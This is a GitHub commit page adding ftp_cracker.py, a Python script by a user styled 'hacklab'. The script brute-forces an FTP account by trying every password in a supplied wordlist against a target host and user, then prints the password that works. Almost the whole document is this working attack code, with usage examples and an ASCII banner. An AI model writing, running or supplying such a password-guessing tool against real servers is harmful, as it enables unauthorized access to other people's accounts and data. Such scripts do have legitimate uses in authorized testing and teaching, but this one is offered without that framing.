Skip to content

Commit 1e222a4

Browse files
author
mohamed larit
authored
crack ftp password
1 parent f1eab04 commit 1e222a4

File tree

1 file changed

+72
-0
lines changed

1 file changed

+72
-0
lines changed

ftp_cracker.py

Lines changed: 72 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,72 @@
1+
#!/usr/bin/env python
2+
3+
import ftplib
4+
from optparse import *
5+
6+
7+
class colors:
8+
def __init__(self):
9+
self.blue = "\033[94m"
10+
self.red = "\033[91m"
11+
self.end = "\033[0m"
12+
cl = colors()
13+
14+
print(cl.blue+"""
15+
*--------------------------------------*
16+
| programmed by : mohamed |
17+
| fb.me/hack1lab |
18+
*--------------------------------------*
19+
_ _ _ _
20+
| |__ __ _ ___| | _| | __ _| |__
21+
| '_ \ / _` |/ __| |/ / |/ _` | '_ \
22+
| | | | (_| | (__| <| | (_| | |_) |
23+
|_| |_|\__,_|\___|_|\_\_|\__,_|_.__/
24+
25+
ftp cracker
26+
-------------
27+
28+
"""+cl.end)
29+
30+
def connect(host, user, password):
31+
try:
32+
ftp = ftplib.FTP(host)
33+
ftp.login(user, password)
34+
print(cl.red+"\nLogin successfuly with password: "+str(password)+cl.end+'\n')
35+
ftp.quit()
36+
exit(0)
37+
except Exception:
38+
return False
39+
40+
parser = OptionParser("""
41+
42+
#Usage:
43+
44+
python ftp_cracker.py -t <Target IP> -u <User> -p <Password File>
45+
46+
#Example:
47+
48+
python ftp_cracker.py -t 127.0.0.1 -u hacklab -p wordlist.txt
49+
50+
""")
51+
52+
53+
try:
54+
parser.add_option("-t",dest="target",type="string", help="enter target ip")
55+
parser.add_option("-u",dest="user",type="string", help="enter target user")
56+
parser.add_option("-p",dest="password",type="string", help="enter passwords file")
57+
(options, args) = parser.parse_args()
58+
if options.target == None or options.user == None or options.password == None:
59+
print(cl.blue+parser.usage+cl.end)
60+
exit(0)
61+
else:
62+
host = str(options.target)
63+
user = str(options.user)
64+
password = str(options.password)
65+
66+
read = open(password, 'r')
67+
for word in read:
68+
word = word.strip('\n')
69+
print("Testing: "+str(word))
70+
connect(host, user, word)
71+
except Exception:
72+
print("there error !!")

0 commit comments

Comments
 (0)